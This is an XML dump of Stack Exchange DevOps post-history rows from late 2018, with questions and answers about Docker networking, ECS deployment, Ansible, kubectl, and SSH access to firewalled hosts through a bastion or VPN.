  <row Id="17662" PostHistoryTypeId="50" PostId="2536" RevisionGUID="a3eba224-493b-41c8-84ab-509b7596330e" CreationDate="2018-11-26T22:01:00.137" UserId="-1" />
  <row Id="17663" PostHistoryTypeId="2" PostId="5546" RevisionGUID="0a360820-fb3d-41d4-a9df-4f55db3e332a" CreationDate="2018-11-26T22:34:50.010" UserId="9975" Text="You need to narrow down your scope and deal with tooling for monorepos. There are various _awesome-monorepo_ lists on Github ([this is a recent one](https://github.com/korfuri/awesome-monorepo)) to actually find out, what kind of tooling fits your use case best (what programming languages are you using?).&#xD;&#xA;&#xD;&#xA;If you have completely isolated projects in your repository you can cobble up some bash scripting utilizing `git diff` output or better use one of the many available monorepo-aware built utilities (see above awesome list for examples). " ContentLicense="CC BY-SA 4.0" />
  <row Id="17664" PostHistoryTypeId="50" PostId="5076" RevisionGUID="67d02276-4997-4949-8172-01a13513ee82" CreationDate="2018-11-27T09:01:10.173" UserId="-1" />
  <row Id="17665" PostHistoryTypeId="2" PostId="5547" RevisionGUID="800bb830-c90b-43bb-932d-20d2e7fc8256" CreationDate="2018-11-27T09:13:01.543" UserId="9655" Text="Basically, sonarqube does not generate its own test coverage report, but re-uses coverage file.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="17667" PostHistoryTypeId="2" PostId="5548" RevisionGUID="75c5a8ed-e5f7-4acf-aa4c-926b47c886d0" CreationDate="2018-11-27T11:13:31.910" UserId="11063" Text="Expose the Postgres instance by setting up a node port service. Allow only specific IP addresses to access that service, this prevent unauthorized access." ContentLicense="CC BY-SA 4.0" />
  <row Id="17668" PostHistoryTypeId="2" PostId="5549" RevisionGUID="bc5e5b62-6f45-40e8-9d28-28555137c0fe" CreationDate="2018-11-27T13:05:38.207" UserId="800" Text="In ansible 2.7 and earlier versions, variables in handlers name are not populated.  &#xD;&#xA;[This bug](https://github.com/ansible/ansible/issues/17922) was reported and a [correction](https://github.com/ansible/ansible/pull/41837) was lately pushed to devel version.&#xD;&#xA;&#xD;&#xA;You need to run ansible from devel, and hope they publish this fix in the next release. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17669" PostHistoryTypeId="2" PostId="5550" RevisionGUID="50d7e8a2-5323-4cb7-ac9e-870f9252c67a" CreationDate="2018-11-27T13:06:36.843" UserId="10699" Text="How to deploy multiple instances (40+) of the same application with gitlab? (it is a simple tomcat web app)&#xD;&#xA;&#xD;&#xA;I want to be able to individually upgrade/downgrade them using web interface.&#xD;&#xA;&#xD;&#xA;We already have a working gitlab+docker pipeline that deploys one instance of an app. We are not using k8s yet.&#xD;&#xA;&#xD;&#xA;Should we create gitlab environment for each instance? Do we have better options besides gitlab environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17670" PostHistoryTypeId="1" PostId="5550" RevisionGUID="50d7e8a2-5323-4cb7-ac9e-870f9252c67a" CreationDate="2018-11-27T13:06:36.843" UserId="10699" Text="How to handle large deployments using tools like gitlab and docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="17671" PostHistoryTypeId="3" PostId="5550" RevisionGUID="50d7e8a2-5323-4cb7-ac9e-870f9252c67a" CreationDate="2018-11-27T13:06:36.843" UserId="10699" Text="&lt;containers&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17672" PostHistoryTypeId="5" PostId="2111" RevisionGUID="00d46611-0ae2-40e9-9710-deccabb76a98" CreationDate="2018-11-27T16:06:43.740" UserId="210" Comment="added 1 character in body" Text="If one uses a Dockerfile then a colleague could also understand what happened (documentation as code). If one runs a container, enters it, runs commits then it would be hard to understand what packages were installed. Especially after a couple of months.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17676" PostHistoryTypeId="2" PostId="5552" RevisionGUID="b34ebbcc-732f-47d3-b43c-a82095cb932a" CreationDate="2018-11-27T17:48:42.197" UserId="11068" Text="Two containers are created with this `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    RUN apt update &amp;&amp; apt upgrade -y &amp;&amp; apt install -y vim iputils-ping net-tools tcpdump iproute* iptables traceroute&#xD;&#xA;&#xD;&#xA;The were created with the following commands in a `Ubuntu 18.04` machine:&#xD;&#xA;&#xD;&#xA;    sudo docker network create --internal --subnet=192.168.2.0/24 netR&#xD;&#xA;    &#xD;&#xA;    sudo docker network create --internal --subnet=172.16.1.0/24 netB1&#xD;&#xA;    &#xD;&#xA;    sudo docker run --name R1_ipsec --hostname R1 --privileged --cap-add=NET_ADMIN --net netR --ip=&quot;192.168.2.100&quot; -dit image1&#xD;&#xA;    sudo docker run --name R2_ipsec --hostname R2 --privileged --cap-add=NET_ADMIN --net netR --ip=&quot;192.168.2.200&quot; -dit image1&#xD;&#xA;    &#xD;&#xA;    sudo docker network connect --ip=&quot;172.16.1.254&quot; netR R1&#xD;&#xA;    &#xD;&#xA;    sudo docker run --name PC1_ipsec --hostname PC1_ipsec --privileged --cap-add=NET_ADMIN --net netB1 --ip=&quot;172.16.1.2&quot; -dit image1&#xD;&#xA;    &#xD;&#xA;    sudo docker exec PC1 route delete default gw 172.16.1.1&#xD;&#xA;    &#xD;&#xA;    sudo docker exec PC1 route add default gw 172.16.1.254 dev eth0&#xD;&#xA;&#xD;&#xA;The problem: `PC1` can't ping the `R1`'s interface `192.168.1.100`, even if `R1` have `net.ipv4.ip_forward = 1`&#xD;&#xA;&#xD;&#xA;Doker version: `Docker version 18.06.1-ce, build e68fc7a`" ContentLicense="CC BY-SA 4.0" />
  <row Id="17677" PostHistoryTypeId="1" PostId="5552" RevisionGUID="b34ebbcc-732f-47d3-b43c-a82095cb932a" CreationDate="2018-11-27T17:48:42.197" UserId="11068" Text="Docker: subnet clients can't ping other subnet" ContentLicense="CC BY-SA 4.0" />
  <row Id="17678" PostHistoryTypeId="3" PostId="5552" RevisionGUID="b34ebbcc-732f-47d3-b43c-a82095cb932a" CreationDate="2018-11-27T17:48:42.197" UserId="11068" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17680" PostHistoryTypeId="2" PostId="5553" RevisionGUID="7706d0c1-4faf-4d3a-9dd1-4c622a83f891" CreationDate="2018-11-28T02:54:01.913" UserId="11074" Text="I'm using github, jenkins, aws ECR, aws ECS.&#xD;&#xA;&#xD;&#xA;I want to deploy automatically when github have new commit. When github have new commit, github sent webhook to jenkins, jenkis build images and push to ECR with tag 'latest'.&#xD;&#xA;&#xD;&#xA;I wonder how can I make my ECS service restart task and redeploy images automatically when ECR image changed?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17681" PostHistoryTypeId="1" PostId="5553" RevisionGUID="7706d0c1-4faf-4d3a-9dd1-4c622a83f891" CreationDate="2018-11-28T02:54:01.913" UserId="11074" Text="ECS auto deploy with ECR" ContentLicense="CC BY-SA 4.0" />
  <row Id="17682" PostHistoryTypeId="3" PostId="5553" RevisionGUID="7706d0c1-4faf-4d3a-9dd1-4c622a83f891" CreationDate="2018-11-28T02:54:01.913" UserId="11074" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17683" PostHistoryTypeId="2" PostId="5554" RevisionGUID="c55116ae-37ea-4a74-8c09-9ac3528458cf" CreationDate="2018-11-28T03:01:20.253" UserId="8800" Text="I don't think you can trigger re-deployment based on ECS image being updated. You can however do it as part of your *Jenkins pipeline* - after you push to ECR as a **next step in the pipeline** can run a script that will reload the task.&#xD;&#xA;&#xD;&#xA;In fact in my pipelines I deploy the *ECS Tasks* through *CloudFormation templates* and the CloudFormation stack update is part of the pipeline. That way I update the ECS Task definition automatically every time I push a new image to non-prod ECR. &#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17684" PostHistoryTypeId="50" PostId="4023" RevisionGUID="bbd21e8a-f7ab-4012-8e09-e5d76e7327ca" CreationDate="2018-11-28T03:01:48.293" UserId="-1" />
  <row Id="17685" PostHistoryTypeId="2" PostId="5555" RevisionGUID="8fb40a9d-735c-4187-ace1-8547c5333e6a" CreationDate="2018-11-28T03:35:38.770" UserId="11075" Text="I'm working on a deployment that will require me to place Ubuntu servers that monitor industrial equipment at various sites and behind firewalls that are out of my control.  I need to maintain SSH access to the servers to perform maintenance and updates, but am struggling on the best way to securely accomplish this.&#xD;&#xA;&#xD;&#xA;Port forwarding and creating firewall pinholes are not options, so I can't quite get my head around what to do.  Is there some system that I could use to maintain the ability to open an SSH tunnel to these machines from the outside world?  Is there a better way to accomplish this?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="17686" PostHistoryTypeId="1" PostId="5555" RevisionGUID="8fb40a9d-735c-4187-ace1-8547c5333e6a" CreationDate="2018-11-28T03:35:38.770" UserId="11075" Text="SSH tunneling to hosts deployed behind firewalls" ContentLicense="CC BY-SA 4.0" />
  <row Id="17687" PostHistoryTypeId="3" PostId="5555" RevisionGUID="8fb40a9d-735c-4187-ace1-8547c5333e6a" CreationDate="2018-11-28T03:35:38.770" UserId="11075" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17688" PostHistoryTypeId="5" PostId="5553" RevisionGUID="35e336f8-a2b8-494a-891a-84049bfaae8f" CreationDate="2018-11-28T04:12:02.953" UserId="354" Comment="using proper declinations" Text="I'm using github, jenkins, aws ECR, aws ECS.&#xD;&#xA;&#xD;&#xA;I want to deploy automatically when github have new commit. When github have new commit, github sends a event webhook to jenkins, jenkins builds the images and pushes to ECR with tag 'latest'.&#xD;&#xA;&#xD;&#xA;I wonder how can I make my ECS service restart task and redeploy images automatically when the ECR image is changed?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17689" PostHistoryTypeId="24" PostId="5553" RevisionGUID="35e336f8-a2b8-494a-891a-84049bfaae8f" CreationDate="2018-11-28T04:12:02.953" Comment="Proposed by 354 approved by 11074 edit id of 867" ContentLicense="CC BY-SA 4.0" />
  <row Id="17690" PostHistoryTypeId="2" PostId="5556" RevisionGUID="2a6c58de-a831-4ae4-9b49-7c23229718d9" CreationDate="2018-11-28T04:20:34.690" UserId="10550" Text="I want to use `kubectl get -o=custom-columns` to extract information with specific columns. The cropped yaml response is like this&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;apiVersion&quot;: &quot;v1&quot;,&#xD;&#xA;        &quot;items&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;apiVersion&quot;: &quot;v1&quot;,&#xD;&#xA;                &quot;kind&quot;: &quot;Pod&quot;,&#xD;&#xA;                &quot;metadata&quot;: {&#xD;&#xA;                    &quot;creationTimestamp&quot;: &quot;2018-11-27T14:37:46Z&quot;,&#xD;&#xA;                    &quot;generateName&quot;: &quot;kubernetes-bootcamp-5c69669756-&quot;,&#xD;&#xA;                    &quot;labels&quot;: {&#xD;&#xA;                        &quot;pod-template-hash&quot;: &quot;1725225312&quot;,&#xD;&#xA;                        &quot;run&quot;: &quot;kubernetes-bootcamp&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;name&quot;: &quot;kubernetes-bootcamp-5c69669756-cxhwf&quot;,&#xD;&#xA;                    &quot;namespace&quot;: &quot;default&quot;,&#xD;&#xA;                    &quot;ownerReferences&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;apiVersion&quot;: &quot;extensions/v1beta1&quot;,&#xD;&#xA;                            &quot;blockOwnerDeletion&quot;: true,&#xD;&#xA;                            &quot;controller&quot;: true,&#xD;&#xA;                            &quot;kind&quot;: &quot;ReplicaSet&quot;,&#xD;&#xA;                            &quot;name&quot;: &quot;kubernetes-bootcamp-5c69669756&quot;,&#xD;&#xA;                            &quot;uid&quot;: &quot;950aac8e-f24f-11e8-bf5d-065b6ba59aa8&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;resourceVersion&quot;: &quot;118035&quot;,&#xD;&#xA;                    &quot;selfLink&quot;: &quot;/api/v1/namespaces/default/pods/kubernetes-bootcamp-5c69669756-cxhwf&quot;,&#xD;&#xA;                    &quot;uid&quot;: &quot;0190c234-f252-11e8-bf5d-065b6ba59aa8&quot;&#xD;&#xA;                },&#xD;&#xA;&#xD;&#xA;I want to extract the **name** from items[0].metadata.name, but I don't know the syntax.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1. What is the query syntax used in this situation. Is it JSON path? I don't see it documented.&#xD;&#xA;1. What is the specific query in my case?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17691" PostHistoryTypeId="1" PostId="5556" RevisionGUID="2a6c58de-a831-4ae4-9b49-7c23229718d9" CreationDate="2018-11-28T04:20:34.690" UserId="10550" Text="How to specify a filter for Kubectl -o flag=custom-column" ContentLicense="CC BY-SA 4.0" />
  <row Id="17692" PostHistoryTypeId="3" PostId="5556" RevisionGUID="2a6c58de-a831-4ae4-9b49-7c23229718d9" CreationDate="2018-11-28T04:20:34.690" UserId="10550" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17697" PostHistoryTypeId="2" PostId="5557" RevisionGUID="8458bc6c-7b1d-4fe2-9dbf-8a41f79c744d" CreationDate="2018-11-28T07:10:52.450" UserDisplayName="user11076" Text="In Azure DevOps I'm adding some fields on a task and now I'll do some calculations with them. For example if I enter in _field A_ `10` and in the _field B_ `50`, _field C_ must be equal to `15`, calculated using this formula: `A + A * B / 100`.&#xD;&#xA;&#xD;&#xA;How can I do that? I've looked for extensions but didn't find anything free. I've also asked it on [the developer community from Visual Studio][1] but after 1 month I've no answer or comment.&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/idea/360127/add-a-rule-to-a-work-item-type-with-formula.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17698" PostHistoryTypeId="1" PostId="5557" RevisionGUID="8458bc6c-7b1d-4fe2-9dbf-8a41f79c744d" CreationDate="2018-11-28T07:10:52.450" UserDisplayName="user11076" Text="Add a rule to a work item type with formula in Azure DevOps boards" ContentLicense="CC BY-SA 4.0" />
  <row Id="17699" PostHistoryTypeId="3" PostId="5557" RevisionGUID="8458bc6c-7b1d-4fe2-9dbf-8a41f79c744d" CreationDate="2018-11-28T07:10:52.450" UserDisplayName="user11076" Text="&lt;azure-devops&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17700" PostHistoryTypeId="2" PostId="5558" RevisionGUID="03dcbe29-c298-4356-bfc3-b3ee153290cc" CreationDate="2018-11-28T08:12:15.637" UserId="7772" Text="If you use python and GitLab like I do, you can include a test coverage report in your CI/CD pipeline. You `pip install coverage` and then just run `coverage` in your pipeline. The following is an excerpt from an AWS lambda pipeline, but you should be able to find something similar for your environment:&#xD;&#xA;&#xD;&#xA;     script:&#xD;&#xA;        - pip install -r ./awslambda/requirements.txt&#xD;&#xA;        - coverage run -m unittest discover -v -s &quot;./awslambda&quot; -p &quot;*_test.py&quot;&#xD;&#xA;        - coverage report&#xD;&#xA;&#xD;&#xA;The above generates a nice code coverage report and it is free of charge, for Python, AWS and GitLab. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17701" PostHistoryTypeId="2" PostId="5559" RevisionGUID="a6208df6-ae59-497c-a130-959a29d89958" CreationDate="2018-11-28T09:16:16.653" UserId="707" Text="If you think of the Dockerfile as a kind of &quot;*[bill of materials][1]*&quot; for your containers, then there is the following consideration:&#xD;&#xA;&#xD;&#xA;- container environments are mostly same - you can use many Dockerfiles in same folder, or even just one Dockerfile with parametrized builds&#xD;&#xA;- container environments are or might divert in terms of further &quot;local assembly parts&quot; configuration files, scripts etc., then you are better of two use folders&#xD;&#xA;&#xD;&#xA;Branching has rather to do developing *versions*, or also independent features which then should be anyway merged together. See [Git flow][2] on this topic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Bill_of_materials&#xD;&#xA;  [2]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="17702" PostHistoryTypeId="5" PostId="5559" RevisionGUID="8577d438-ddb4-44d9-8bb6-d82bd1bc6e3f" CreationDate="2018-11-28T09:55:11.470" UserId="707" Comment="added 14 characters in body" Text="If you think of the Dockerfile as a kind of &quot;*[bill of materials][1]*&quot; for your containers, then there is the following consideration:&#xD;&#xA;&#xD;&#xA;- container environments are mostly same - you can use many Dockerfiles in same folder, or even just one Dockerfile with parametrized builds&#xD;&#xA;- container environments are or might divert in terms of further &quot;local assembly parts&quot; configuration files, scripts etc., then you are better off with using separate folders.&#xD;&#xA;&#xD;&#xA;Branching has rather to do with developing *versions*, or also independent features which then should be anyway merged together. See [Git flow][2] on this topic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Bill_of_materials&#xD;&#xA;  [2]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="17703" PostHistoryTypeId="2" PostId="5560" RevisionGUID="2f46dab3-1ce7-4d61-bd1a-539a5da5290b" CreationDate="2018-11-28T10:47:00.523" UserId="11080" Text="If organizations which manage firewall host and infra around can create a user for you on their equipment - you can use the advantage of &quot;jump host&quot;.&#xD;&#xA;Imagine you have access to host A and host A has connectivity with host B. Then you can do it with the following ssh config.&#xD;&#xA;&#xD;&#xA;    Host A&#xD;&#xA;      Username username&#xD;&#xA;      Hostname bloody.enterprise.example&#xD;&#xA;    Host B&#xD;&#xA;       ProxyJump A&#xD;&#xA;&#xD;&#xA;If it's not an option.Well, you can consider setting up VPN.&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="17704" PostHistoryTypeId="5" PostId="5545" RevisionGUID="81f79b68-5bc4-48c3-8a5e-6ad4d91dd638" CreationDate="2018-11-28T11:04:34.943" UserId="11056" Comment="Add a case study" Text="I've seen a lot of repositories with Docker images and I think (correct me if my guessing is wrong) that the projects that handle a docker image with multiple tags can be grouped into three groups: &#xD;&#xA;&#xD;&#xA; - Dockerfiles with different names in the same directory.&#xD;&#xA; - Dockerfiles with the same name (i.e. &quot;Dockerfile&quot;) in different directories.&#xD;&#xA; - Dockerfiles with the same name (i.e. &quot;Dockerfile&quot;) in different branches.&#xD;&#xA;&#xD;&#xA;I've looked at the Docker documentation page but there are no suggestions on how one should manage multiple tag images. I'm not looking for a subjective answer. Of course, any advice will be appreciated but what I want is to know the pros and cons of each of the three possibilities.&#xD;&#xA;&#xD;&#xA;Of course, there is the possibility that I've understood nothing of how docker images should be deployed. In this unfortunate case, please be merciful and point me in the right direction.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Case study ###&#xD;&#xA;&#xD;&#xA;I wanted to pose a general question but I realized that maybe it was too broad. For this reason, I explain here what is my case hoping that could help a bit more what I wanted to achieve and what I've done now (this question is about only a part of what I wanted to achieve). &#xD;&#xA;&#xD;&#xA;What I want is to develop a docker hub automated build linked to a Git Hub repository. The images are about LaTeX on Ubuntu. The first build, tagged `base`, starts from Ubuntu 18.04 and comes with `texlive-base`. Another build, tagged `full`, starts from the build tagged `base` and comes with `texlive-full`. Another two builds, tagged `develop-base` and `develop-full`, will start from the respectively builds without 'develop' and will come with writing and visualization tools. All the builds will probably have some semantic versioning system. &#xD;&#xA;&#xD;&#xA;What I've done right now is implement `base` and `full` through two different Docker files into two different directories in the same Git Hub repository. Whenever a tag `base` or `full` is created/moved, the corresponding build is triggered. This implementation has a problem: if I move the tag `base`, the image `base` is correctly built but all the images that depend on it are not built again and I have to manually trigger them. What I've thought is to have a branch for each tagged image (with the corresponding automated builds triggered at each new push on that branch) and a tag system to keep track of the version number (with the corresponding automated builds triggered at each new tag). The tags will be `base`, `full`, `develop-base`, etc. for each latest version and with semantic versioning for each version, including the latest, i.e. `1.0-base`, `2.3-full`, `1.3.1-develop-base`, ecc. In the latter case, the automated build triggering will probably have to handle regular expression to automatically label the images with a version number.&#xD;&#xA;&#xD;&#xA;I realize that my question isn't very related to what I wanted to achieve but I want to learn to walk before trying to run. Thus, I want to understand when and why one should choose one way or the other to put on a docker hub repository with several images and which are those ways. The project of LaTeX images itself, that maybe you could think that is very naive, is to deeply understand the way docker, docker hub, docker cloud, docker compose, ecc. work." ContentLicense="CC BY-SA 4.0" />
  <row Id="17705" PostHistoryTypeId="2" PostId="5561" RevisionGUID="ac966916-df5d-4a6b-8215-40c74d25bc54" CreationDate="2018-11-28T11:35:31.523" UserId="10466" Text="&lt;br&gt; I want to run [easy_install][1] task in order to install many modules in virtual environment.&lt;br&gt;&#xD;&#xA;Is there an option to install all modules in requirements.txt file? as I understand it accept only one module at a time.&lt;br&gt;&#xD;&#xA;another option is to do it with &quot;with items&quot; but how can i make Ansible &#xD;&#xA;iterate over both the name and the version of each module - &lt;br&gt;&#xD;&#xA; -easy_install:&lt;br&gt;&#xD;&#xA;     name: pip &lt;br&gt;&#xD;&#xA;     state: latest &lt;br&gt;&#xD;&#xA;&#xD;&#xA;I want certain versions obviously...&lt;br&gt;&#xD;&#xA;(I can not work with Pip task, only easy_install) &lt;br&gt;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.4/easy_install_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17706" PostHistoryTypeId="1" PostId="5561" RevisionGUID="ac966916-df5d-4a6b-8215-40c74d25bc54" CreationDate="2018-11-28T11:35:31.523" UserId="10466" Text="ansible task -easy_install with requirements.txt file" ContentLicense="CC BY-SA 4.0" />
  <row Id="17707" PostHistoryTypeId="3" PostId="5561" RevisionGUID="ac966916-df5d-4a6b-8215-40c74d25bc54" CreationDate="2018-11-28T11:35:31.523" UserId="10466" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17710" PostHistoryTypeId="2" PostId="5563" RevisionGUID="66165c0a-d0f5-49ff-a576-b23a0275cd4d" CreationDate="2018-11-28T12:20:16.980" UserId="354" Text="You can loop with dictionaries using `loop`. It doesn't look like the `easy_install` module handles versions with a module attribute, so you might have t pass the version on the `name` attribute.&#xD;&#xA;&#xD;&#xA;    - name: install things with easy_install&#xD;&#xA;      easy_install:&#xD;&#xA;        name: &quot;{{ item.name }}=={{item.version}}&quot;&#xD;&#xA;        state: present&#xD;&#xA;      loop:&#xD;&#xA;        - { name: 'pip', version: '18.1' }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17711" PostHistoryTypeId="2" PostId="5564" RevisionGUID="67656829-9a6f-4b84-80cf-8f8ba045b44c" CreationDate="2018-11-28T12:27:12.630" UserId="800" Text="You can loop over file content:&#xD;&#xA;&#xD;&#xA;    - name: Installs Python libraries from requirements.txt&#xD;&#xA;      easy_install:&#xD;&#xA;        name: {{ item }}&#xD;&#xA;        state: present&#xD;&#xA;      with_lines: cat &quot;/my_app/requirements.txt&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17712" PostHistoryTypeId="5" PostId="5559" RevisionGUID="255040d5-148f-4c1b-8153-889b58bb57ed" CreationDate="2018-11-28T12:30:04.080" UserId="707" Comment="added 416 characters in body" Text="If you think of the Dockerfile as a kind of &quot;*[bill of materials][1]*&quot; for your containers, then there is the following consideration:&#xD;&#xA;&#xD;&#xA;- container environments are mostly same - you can use many Dockerfiles in same folder, or even just one Dockerfile with parametrized builds&#xD;&#xA;- container environments are or might divert in terms of further &quot;local assembly parts&quot; configuration files, scripts etc., then you are better off with using separate folders.&#xD;&#xA;&#xD;&#xA;Branching has rather to do with developing *versions*, or also independent features which then should be anyway merged together. See [Git flow][2] on this topic.&#xD;&#xA;&#xD;&#xA;As a reference project laoyut, check for example the [GitHub project][3] linked from [Tomcat Docker Hub][4] site. Here you find different folders, even with single Dockerfiles.&#xD;&#xA;&#xD;&#xA;See also this TeX-Docker distro:&#xD;&#xA;&#xD;&#xA;* https://hub.docker.com/r/raabf/texstudio-versions/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Side note: strange enough there is no &quot;official&quot; Docker distro for TeX, while many other well established open source communities have this *[library][5]* entry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Bill_of_materials&#xD;&#xA;  [2]: https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow&#xD;&#xA;  [3]: https://github.com/docker-library/tomcat/tree/37baee2462247279efcf9e072f55d4ff3086a7a9/7&#xD;&#xA;  [4]: https://hub.docker.com/_/tomcat/&#xD;&#xA;  [5]: https://hub.docker.com/u/library/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17713" PostHistoryTypeId="6" PostId="5545" RevisionGUID="49f96971-1885-4624-893f-201763fbc918" CreationDate="2018-11-28T12:34:35.553" UserId="707" Comment="edited tags" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17714" PostHistoryTypeId="2" PostId="5565" RevisionGUID="5e1cd3af-4d58-40c6-81c3-2684674b220c" CreationDate="2018-11-28T13:21:02.857" UserId="11083" Text="Officially you should ask those firewall admins to create you a VPN access on each router, optionnaly ask them to have only access to your server behind their firewall.&#xD;&#xA;&#xD;&#xA;That will leave you a user account to manage your updates while at the same time you will be covered legally, as if a leak happen, or a security issue happen, the fact you have only a VPN access to that server limit your liability and they know you have access.&#xD;&#xA;&#xD;&#xA;Often industrial network are restricted for the internet usage, as for why for me it's the best solution, as asking to have your equipment able to talk to the internet (the way around) could often be an issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="17715" PostHistoryTypeId="2" PostId="5566" RevisionGUID="5e6fdac7-cf02-46e1-8b77-51d705af2c5e" CreationDate="2018-11-28T13:21:13.223" UserId="4250" Text="Assuming that the monitoring host is able to make *outbound* connections, you can solve this by having a [bastion host](https://en.wikipedia.org/wiki/Bastion_host) elsewhere which you can connect through. Obviously do make sure to clear this with your customer.&#xD;&#xA;&#xD;&#xA;To do this, set up a server somewhere under your control. This might be a VPS with a generous traffic limit, or it might be a physical server under your control, or something else. Give it a stable DNS name, possibly on a one-per-customer basis, which maps to the IP address of the bastion host. Mind the possibility that you may need to renumber that host in the future, possibly without being able to access the monitoring host.&#xD;&#xA;&#xD;&#xA;Now, configure the monitoring host (the one that you want to be able to ultimately connect to) to connect *out* to the bastion host to set up a SSH tunnel. This will probably include creating a non-privileged user account on the monitoring host to run the tunnelling SSH process, and protecting that appropriately. (Remember: this account won't be used for logging in to; it will only run a local, non-interactive SSH client process, and own the tunnel.) Also set up a non-privileged account on the bastion host, with only sufficient privileges to log in with SSH (not to a shell) and set up a SSH tunnel to the monitoring host.&#xD;&#xA;&#xD;&#xA;With that in place, you can set up something like `autossh` on the monitoring host to maintain a connection to the bastion host to keep the tunnel alive. Add some decent logging on the bastion host, since on the monitoring host, the connection will almost certainly look like it originates from localhost.&#xD;&#xA;&#xD;&#xA;When you need to connect to the monitoring host, first connect to the bastion host setting up a SSH tunnel to the bastion host's local port that forwards to the monitoring host; and then connect to the local port that maps to that tunnel. This will tunnel the SSH traffic *via* the bastion host, allowing your system to talk to the ultimate target host without requiring the host that is ultimately being connected to to be able to accept incoming connections." ContentLicense="CC BY-SA 4.0" />
  <row Id="17716" PostHistoryTypeId="5" PostId="5550" RevisionGUID="dc69241d-79bf-48ae-9908-ef3a6038199c" CreationDate="2018-11-28T13:46:02.297" UserId="10699" Comment="added 457 characters in body" Text="How to deploy multiple instances (40+) of the same application with gitlab? (it is a simple tomcat web app)&#xD;&#xA;&#xD;&#xA;I want to be able to individually upgrade/downgrade them using web interface.&#xD;&#xA;&#xD;&#xA;We already have a working gitlab+docker pipeline that deploys one instance of an app. We are not using k8s yet.&#xD;&#xA;&#xD;&#xA;Should we create gitlab environment for each instance? Do we have better options besides gitlab environments?&#xD;&#xA;&#xD;&#xA;_Update_:&#xD;&#xA;Instances (websites) do differ, they have the same codebase but different configuration. Right now the scaling is not a priority, what we really want is to have an interface to add, deploy, upgrade and downgrade websites. I've tried gitlab environmets on a smaller project and it's really awesome when you have like one or two websites, but when you have 10 or more and you have one environment for each website .gitlab-ci.yml grows exponentially." ContentLicense="CC BY-SA 4.0" />
  <row Id="17717" PostHistoryTypeId="2" PostId="5567" RevisionGUID="f42edc6a-01b6-497b-8c19-cbdb13c02e0a" CreationDate="2018-11-28T14:22:18.737" UserId="707" Text="Official community distros of well established open source software can be found in Docker Hub at the &quot;special&quot; place, the *library*, explicitely tagged as &quot;official&quot;.&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/u/library/&#xD;&#xA;&#xD;&#xA;How does it get there - by decision of Docker Inc., the company behind Docker, or is there some community application process?&#xD;&#xA;&#xD;&#xA;For example, there is no image for LaTeX." ContentLicense="CC BY-SA 4.0" />
  <row Id="17718" PostHistoryTypeId="1" PostId="5567" RevisionGUID="f42edc6a-01b6-497b-8c19-cbdb13c02e0a" CreationDate="2018-11-28T14:22:18.737" UserId="707" Text="What do we know about how open source software becomes eligible for the Docker Hub library?" ContentLicense="CC BY-SA 4.0" />
